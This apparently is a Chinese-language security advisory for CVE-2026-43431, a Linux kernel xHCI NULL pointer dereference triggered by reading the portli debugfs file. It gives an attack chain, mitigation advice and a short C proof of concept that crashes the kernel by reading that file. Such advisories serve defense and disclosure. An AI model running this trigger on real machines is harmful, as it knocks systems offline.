IPBUF安全漏洞报告
English
CVE-2026-43431 CVSS 5.5 中危

CVE-2026-43431 Linux内核xhci空指针解引用漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43431
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务空指针解引用xhci本地漏洞

漏洞概述

Linux内核xHCI驱动程序存在空指针解引用漏洞。当读取portli debugfs文件时,若端口寄存器数量超过协议能力报告值,或端口间存在间隙,会导致port->rhub为NULL。代码未做检查直接访问,引发系统崩溃。

技术细节

该漏洞位于Linux内核的xHCI(eXtensible Host Controller Interface)驱动中。问题出在最近添加的用于读取端口链路信息(portli)的debugfs实现。当xhci->max_ports计数大于“Supported Protocol capabilities”实际报告的端口数,或者不同速度的端口在硬件能力描述中存在间隙时,对应的port结构体中的rhub指针可能未被初始化(即为NULL)。原有代码在读取操作中未对port->rhub进行非空校验,直接尝试通过该指针访问xhci结构体,从而触发内核空指针解引用错误(Kernel Oops),导致系统拒绝服务。攻击者需具有本地低权限,并能够读取相关debugfs文件即可利用该漏洞。

攻击链分析

STEP 1
获取访问权限
攻击者获取目标系统的本地低权限用户访问权限。
STEP 2
访问调试接口
攻击者定位到debugfs挂载点下的xhci端口链路信息文件(portli)。
STEP 3
触发漏洞
攻击者读取该文件。由于内核代码未检查port->rhub是否为NULL,触发空指针解引用。
STEP 4
系统崩溃
内核发生Oops,导致系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> // PoC to trigger NULL pointer dereference in xhci portli debugfs // Requires debugfs to be mounted and the vulnerable kernel version. int main() { FILE *fp; char path[] = "/sys/kernel/debug/usb/xhci/0000:00:14.0/portli"; // Example path char buffer[256]; // Attempt to open the debugfs file fp = fopen(path, "r"); if (fp == NULL) { perror("Error opening file"); return 1; } // Reading the file triggers the NULL pointer dereference // if xhci->max_ports is inconsistent with capabilities. printf("Reading portli debugfs file to trigger the crash...\n"); while (fgets(buffer, sizeof(buffer), fp) != NULL) { printf("%s", buffer); } fclose(fp); return 0; }

影响范围

Linux Kernel (特定版本)

防御指南

临时缓解措施
建议立即升级Linux内核以修复此空指针解引用漏洞。在无法立即升级的情况下,应严格限制普通用户对debugfs文件系统的读取权限,防止恶意利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表